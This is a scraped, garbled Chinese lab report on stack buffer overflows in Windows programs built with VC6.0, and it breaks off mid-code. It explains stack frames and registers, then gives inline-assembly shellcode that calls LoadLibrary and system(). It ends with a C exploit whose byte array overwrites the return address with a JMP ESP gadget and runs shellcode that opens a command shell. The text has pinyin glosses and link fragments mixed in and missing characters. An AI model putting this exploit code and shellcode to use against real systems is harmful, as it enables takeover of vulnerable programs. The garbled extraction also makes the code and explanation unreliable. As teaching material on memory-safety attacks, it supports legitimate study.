缓冲区溢出(共16页)_第1页
缓冲区溢出(共16页)_第2页
缓冲区溢出(共16页)_第3页
缓冲区溢出(共16页)_第4页
缓冲区溢出(共16页)_第5页
已阅读5页,还剩13页未读 继续免费阅读

下载本文档

版权说明:本文档由用户提供并上传,收益归属内容提供方,若内容存在侵权,请进行举报或认领

文档简介

1、一、专题目标(mbio)/任务概述掌握缓冲区溢出的原理、缓冲区溢出漏洞的利用技巧,理解缓冲区溢出漏洞的防范措施;通过对一个包含缓冲区溢出的实例程序的分析来了解缓冲区溢出漏洞产生(chnshng)的基本原理和攻击方法。二、实践环境与工具(gngj)/平台vc6.0三、专题所涉及的基本原理1、概念: HYPERLINK /view/266782.htm t _blank 缓冲区溢出是指当计算机向缓冲区内填充数据位数时超过了缓冲区本身的 HYPERLINK /view/334600.htm t _blank 容量,使得溢出的数据覆盖在合法数据上。某些情况下,溢出的数据只是覆盖在一些不太重要的内存空间

2、上,不会产生严重后果;但是一旦溢出的额数据覆盖在合法数据上则可能给系统带来巨大的危害。2、原理:(1)进程的划分代码段:存储着执行程序的二进制机器代码,计算机会到这个区域取指令并执行。数据段:用于存储全局变量、静态变量等数据。堆区:进程可以在通过malloc等函数动态地在堆区申请一定大小的内存,并在用完之后释放内存。堆栈区:用于动态地存储函数之间的调用关系,以保证被调用的函数在返回时恢复到主函数中继续执行。函数调用时的参数和局部变量都保存在堆栈中。由系统自动分配。例如,在函数中声明一个局部变量int b;系统自动在栈中为b开辟空间。注意:在Intel x86机器上的堆栈被认为是反向的,即堆栈是

3、由高端地址向下增长的。即当一个信息被压栈时,ESP减少,新元素被写入目标地址,当一个信息被弹出时,则从ESP指针所指向的地址中读出一个元素,ESP增加,向上边界移动并压缩堆栈。Windows下程序在内存中的结构如图1.未初始化静态数据初始化静态数据代码段堆堆栈堆增长方向栈增长方向高端内存低端内存图1:Windows下程序在内存(ni cn)中的结构(2)函数调用过程(guchng)堆栈(简称栈)是一种先进后出的数据表结构。栈有两种常用操作:压栈和出栈。栈有两个重要属性:栈顶和栈底。内存(ni cn)的栈区实际上指的是系统栈。系统栈由系统自动维护,用于实现高级语言的函数调用。每个函数在被调用时都

4、有属于自己的栈帧空间。当函数被调用时,系统会为这个函数开辟一个新的栈帧,并把它压入栈中,所以正在运行的函数总是在系统栈的栈顶。当函数返回时,系统栈会弹出该函数所对应的栈帧空间。win32系统提供了两个特殊的寄存器来标识系统栈最顶端的栈帧。ESP:扩展堆栈指针。该寄存器存放一个指针,它指向系统栈最顶端那个函数栈帧的栈顶。EBP:扩展基指针。该寄存器存放一个指针,它指向系统栈最顶端那个函数栈帧的栈底。另外,EIP寄存器(扩展指令指针)对于堆栈的操作非常重要,EIP包含将要被执行的吓一跳指令的地址。函数栈帧:ESP和EBP之间的空间为当前栈帧,每一个函数都有属于自己的ESP和EBP指针。ESP表示了

5、当前栈帧的栈顶,EBP标识了当前栈的栈底。在一个函数栈帧中,一般包括以下重要的信息:局部变量:系统会在该函数栈帧上为该函数运行时的局部变量分配相应的内存空间。函数返回地址:存放了本函数执行完后应该返回到调用本函数的主函数中继续执行的指令的位置。在win32操作系统中,当程序里出现函数调用时,系统会自动为这次函数调用分配一个堆栈。函数的调用大概包括下面几个步骤:参数(cnsh)入栈:一般是将被调函数的参数从右到左一次压入系统栈(即调用该函数的主函数的函数栈帧)中。返回地址入栈:把当前EIP的值(当前代码(di m)区正在执行指令的下一条指令的地址)压入栈中,作为返回地址。代码(di m)区跳转:

6、将EIP指向被调用函数的入口处。栈帧调整:主要是用来保持堆栈平衡,这个过程可以由被调用函数执行,也可以由主函数制造型,具体由编译器决定。首先是将EBP压入栈中(用于调用返回时回复原堆栈),并把主函数的ESP的值送入寄存器EBP中,作为新的基址(新栈帧的EBP实际上保存的是主函数的ESP),最后,为本地变量留出空间,把ESP减去适当的值(内存分配时以字为单位的)。函数调用结束后的返回过程如下:保存返回值:通常将函数的返回值保存在寄存器 EAX 中。弹出当前栈帧,恢复上一个栈帧。a) 在堆栈平衡的基础上,给 ESP 加上栈帧的大小,降低栈顶,回收当前栈帧空间。b) 将当前栈帧底部的 EBP 的值(

7、 母函数的栈底地址)弹入 EBP 寄存器,使得 EBP 指向母函数的栈底。c) 将函数返回地址弹入 EIP 寄存器。跳转到新的 EIP 处执行指令(已经返回到了主函数) 。通过往程序的 HYPERLINK /view/266782.htm t _blank 缓冲区写超出其长度的内容,造成缓冲区的溢出,从而破坏程序的 HYPERLINK /view/93201.htm t _blank 堆栈,造成程序崩溃或使程序转而执行其它指令,以达到攻击的目的。造成 HYPERLINK /view/266782.htm t _blank 缓冲区溢出的原因是程序中没有仔细检查用户输入的参数。容易引起缓冲区溢出的

8、函数:strcat(), HYPERLINK /view/1295144.htm t _blank sprintf(),vsprintf(),gets(),scanf()随便往 HYPERLINK /view/266782.htm t _blank 缓冲区中填东西造成它溢出一般只会出现“分段错误”(Segmentation fault),而不能达到攻击的目的。最常见的手段是通过制造 HYPERLINK /view/266782.htm t _blank 缓冲区溢出使程序运行一个用户shell,再通过shell执行其它命令。如果该程序有root或者suid执行权限的话,攻击者就获得了一个有 HY

9、PERLINK /view/3967294.htm t _blank root权限的shell,可以对系统进行任意操作了。3、漏洞:缓冲区溢出攻击的目的在于扰乱具有某些特权运行的程序的功能,这样可以使得攻击者取得程序的控制权,如果该程序具有足够的权限,那么整个主机就被控制了。一般而言,攻击者攻击root程序,然后执行类似“exec(sh)”的执行代码来获得 HYPERLINK /view/3967294.htm t _blank root权限的shell。为了达到这个目的,攻击者必须达到如下的两个目标:1)在程序(chngx)的 HYPERLINK /view/1507129.htm t _b

10、lank 地址(dzh)空间里安排适当(shdng)的代码。2)通过适当的初始化 HYPERLINK /view/6159.htm t _blank 寄存器和内存,让程序跳转到入侵者安排的 HYPERLINK /view/1507129.htm t _blank 地址空间执行。可以根据这两个目标来对 HYPERLINK /view/700134.htm t _blank 缓冲区溢出攻击进行分类。四、专题设计/实践1、缓冲区溢出分析:(1)课堂实例:正常情况如图2.图2:程序正常运行结果缓冲区溢出运行情况如图3.图3:缓冲区溢出导致程序异常退出利用溢出实现攻击如图4.图4:利用溢出实现(shxi

11、n)攻击(2)课后练习例子(l zi)及分析正常(zhngchng)情况如图5.图5:程序正常运行结果缓冲区溢出运行情况如图6.图6:缓冲区溢出导致(dozh)程序异常退出分析堆栈(duzhn)情况如图7.正常运行时堆栈情况(qngkung): 缓冲区溢出时堆栈情况:nahznilgEBP原EIPnahznilgnahznilg图7:堆栈情况分析分步执行程序情况如图8图8:分步执行程序情况(qngkung)具体情况如图9图9:具体情况 分析:程序里定义了一个8个字节的缓冲区buffer8,使用函数strcpy来将数组name的内容拷贝到该缓冲区中,由于name数据的长度超过了8个字节,根据缓冲

12、区溢出形成的原理,name里的数据一次覆盖了EBP和返回地址(两个都是32位的,占用4个字节),使得strcpy函数返回后的EIP指向0 x6E696C67这个非法地址,所以程序会出现异常而退出。如果能够把EIP修改(xigi)指向我们的代码的话,我们就可以接管程序的控制权,从而做任何事情。2、shellcode的概念(ginin):Shellcode可以通俗地理解为程序执行指令(也就是汇编指令)对应的机器码。Windows 是通过动态链接库来提供(tgng)系统函数,就是所谓的Dll。例如(lr):#includeint main()LoadLibrary(msvcrt.dll);syste

13、m();return 0;调用(dioyng)dos窗口结果如图10图10:dos窗口调用System函数由msvcrt.dll提供,所以要想执行system,必须首先使用LoadLibrary(“msvcrt.dll”);装载动态链接库msvcrt.dll,之后才能调用system函数。在VC6.0中,在调试状态下,右键选择“Go to disassemly”显示对应的汇编代码,在点右键选择“code bytes”,显示汇编指令对应的字节码。如图11。图11:汇编指令(zhlng)对应字节码上面的shellcode其实是不通用(tngyng)的,因为在调用system(“”)函数(hnsh)

14、时,字符串“”其实是一个临时局部变量,它在内存中的地址是由编译器临时分配的,不具有通用性(其实,变量在编译器进行处理后,都是由地址来代替并进行引用的),所以这段shellcode在另外一个程序中引用本程序中的这个地址,引用的很可能并不是字符串“”。所以我们需要在栈上自己构造这个字符串并计算这个字符的地址来进行引用。同样,将LoadLibrary(“msvcrt.dll”)也改成汇编。程序如下:#includevoid main()_asm/首先要LoadLibrary(msvcrt.dll);push ebpmov ebp,espxor eax,eaxpush eaxpush eaxpush

15、eaxmov byte ptrebp-0Ch,4Dh; mov byte ptrebp-0Bh,53h; mov byte ptrebp-0Ah,56h; mov byte ptrebp-09h,43h; mov byte ptrebp-08h,52h; mov byte ptrebp-07h,54h; mov byte ptrebp-06h,2Eh; mov byte ptrebp-05h,44h; mov byte ptrebp-04h,4Ch; mov byte ptrebp-03h,4Ch; lea eax,ebp-0Chpush eax;mov edx,0 x77e69f64 ;/L

16、oadLibrary sp3call edx;push ebp;mov ebp, esp;sub esp, 0 xC;mov eax, 0 x6D6D6F63;mov dword ptr ebp-0 x0C, eax;mov eax, 0 x2E646E61;mov dword ptr ebp-0 x8, eax;mov eax, 0 x226D6F63;mov dword ptr ebp-0 x4, eax;xor edx, edx;mov byte ptr ebp-0 x1, dl;lea eax, dword ptr ebp-0 xC;push eax;mov eax, 0 x7801A

17、FC3 ;/system sp3 地址(dzh)call eax;mov esp,ebp ;push ebp ;mov ebp,esp ; /把当前(dngqin)esp 赋给ebpxor edi,edi ;push edi ; /压入0,esp4; 作用(zuyng)是构造字符串的结尾0 字符。sub esp,08h ; mov byte ptr ebp-0ch,63h ; mov byte ptr ebp-0bh,6fh ; mov byte ptr ebp-0ah,6dh ; mov byte ptr ebp-09h,6Dh ; mov byte ptr ebp-08h,61h ; mo

18、v byte ptr ebp-07h,6eh ; mov byte ptr ebp-06h,64h ; mov byte ptr ebp-05h,2Eh ; mov byte ptr ebp-04h,63h ; mov byte ptr ebp-03h,6fh ; mov byte ptr ebp-02h,6dh ; /一个一个生成串.lea eax,ebp-0ch ;push eax ; /串地址作为参数入栈mov eax, 0 x7801AFC3 ; exit(0);获取(huq)的汇编对应的机器码如图11-1,11-2:图11-1 LoadLibrary(“msvcrt.dll”)获得的

19、汇编(hubin)指令图11-2 LoadLibrary(“msvcrt.dll”)获得(hud)的汇编指令这样,我们就可以通过修改name数组13到16这四个字节的内容来控制程序的EIP。如果我们在那么数组的内容加入可以执行一定功能的shellcode的话,我们就可以通过某种方式控制EIP指向我们的shellcode,从而执行shellcode。在现有计算机体系结构中,代码和数据都存放在内存中,而且不对这二者进行区分,也就是说,即使EIP指向的是数据而不是代码,计算机也会将数据作为指令来执行。我们的shellcode是通过name数组存放的,最终覆盖了堆栈上的数据。堆栈也是程序的内存区域,所

20、以只要EIP指向我们的shellcode,我们的shellcode具可以得到执行。3、shellcode的定位对于堆栈的缓冲区溢出攻击有两种方式:覆盖(fgi)函数返回地址的攻击方式JMP ESP;覆盖(fgi)方法和覆盖异常处理程序地址的攻击方式SHE覆盖(fgi)方法。JMP ESP的覆盖方法:Windows的系统核心dll包括Kernel32.dll、user32.dll、gdi32.dll.这些dll一直位于内存中,而且对应于固定的版本,windows加载的位置是固定的。在windows下可以利用系统核心dll里的指令来完成跳转。我们用系统核心dll中的JMP ESP地址来覆盖返回地址

21、,而把shellcode紧跟在后面,这样就可以跳转到我们的shellcode中。其利用格式是NNNNNNRSSSSSS。N=Nop,S=Shellcode,R=jmp esp的地址。覆盖后的缓冲区如图12,N表示NOP,保存院EIP的地方覆盖成了JMP ESP的地址,接下去的S0、S1等表示ShellCode开始的0字节、1字节等。NNJMP ESP地址S0S1S2原EIP图12:程序发生溢出后堆栈的分布函数执行完毕,要返回时堆栈指针ESP会指向保存原EIP(正常返回时EIP)的地方,而指令指针EIP指向Ret指令,如图13.NNJMP ESP地址S0S1S2原EIPEspEIPRETPOPE

22、BP 图13:程序返回(fnhu)之前的ESP指向上图中的RET相当于POP EIP,就是把栈顶指针ESP指向的值弹出来给EIP。所以在正常情况下,RET执行后,就可以把原来的EIP恢复,从而回到中断前的流程。但是,保存的EIP已经被我们覆盖(fgi)成JMP ESP指令的地址了。这样执行POP EIP后,EIP会被改为JMP ESP的地址,即指向JMP ESP。而堆栈指针ESP往下移一位(POP出栈操作导致ESP下移),指向ShellCode的第一个字节。如图14。NNJMP ESP地址S0S1S2原EIPEspEIPJMP ESP图14:程序(chngx)返回之后的ESP指向4、Shell

23、Code的运行(ynxng)(1)代码(di m):#include string.h#include stdio.h#includechar name=x41x41x41x41x41x41x41x41x41x41x41x41 /覆盖(fgi)ebpx12x45xfax7f /覆盖(fgi)eip, jmp esp 地址7ffa4512x55x8bxecx33xc0 x50 x50 x50 xc6x45xf4x6dxc6x45xf5x73xc6x45xf6x76xc6x45xf7x63xc6x45xf8x72xc6x45xf9x74xc6x45xfax2exc6x45xfbx64xc6x45x

24、fcx6cxc6x45xfdx6cx8dx45xf4x50 xb8x77x1dx80 x7c / LoadLibrary 的地址(dzh)xffxd0 x55x8bxecx33xffx57x57x57xc6x45xf4x73xc6x45xf5x74xc6x45xf6x61xc6x45xf7x72xc6x45xf8x74xc6x45xf9x20 xc6x45xfax63xc6x45xfbx6dxc6x45xfcx64x8dx7dxf4x57xbaxc7x93xbfx77 / System 的地址xffxd2;int main()char output8;strcpy(output, name);for(int i=0;i8&outputi;i+)printf(0 x%x,outputi);printf(n);return 0;(2)代码功能:LibHandle=LoadLibrary(“msvcrt.dll”)ProcAdd=(MYPROC)GetProcAddress(LibHandle

温馨提示

  • 1. 本站所有资源如无特殊说明,都需要本地电脑安装OFFICE2007和PDF阅读器。图纸软件为CAD,CAXA,PROE,UG,SolidWorks等.压缩文件请下载最新的WinRAR软件解压。
  • 2. 本站的文档不包含任何第三方提供的附件图纸等,如果需要附件,请联系上传者。文件的所有权益归上传用户所有。
  • 3. 本站RAR压缩包中若带图纸,网页内容里面会有图纸预览,若没有图纸预览就没有图纸。
  • 4. 未经权益所有人同意不得将文件中的内容挪作商业或盈利用途。
  • 5. 人人文库网仅提供信息存储空间,仅对用户上传内容的表现方式做保护处理,对用户上传分享的文档内容本身不做任何修改或编辑,并不能对任何下载内容负责。
  • 6. 下载文件中如有侵权或不适当内容,请与我们联系,我们立即纠正。
  • 7. 本站不保证下载资源的准确性、安全性和完整性, 同时也不承担用户因使用这些下载资源对自己和他人造成任何形式的伤害或损失。

评论

0/150

提交评论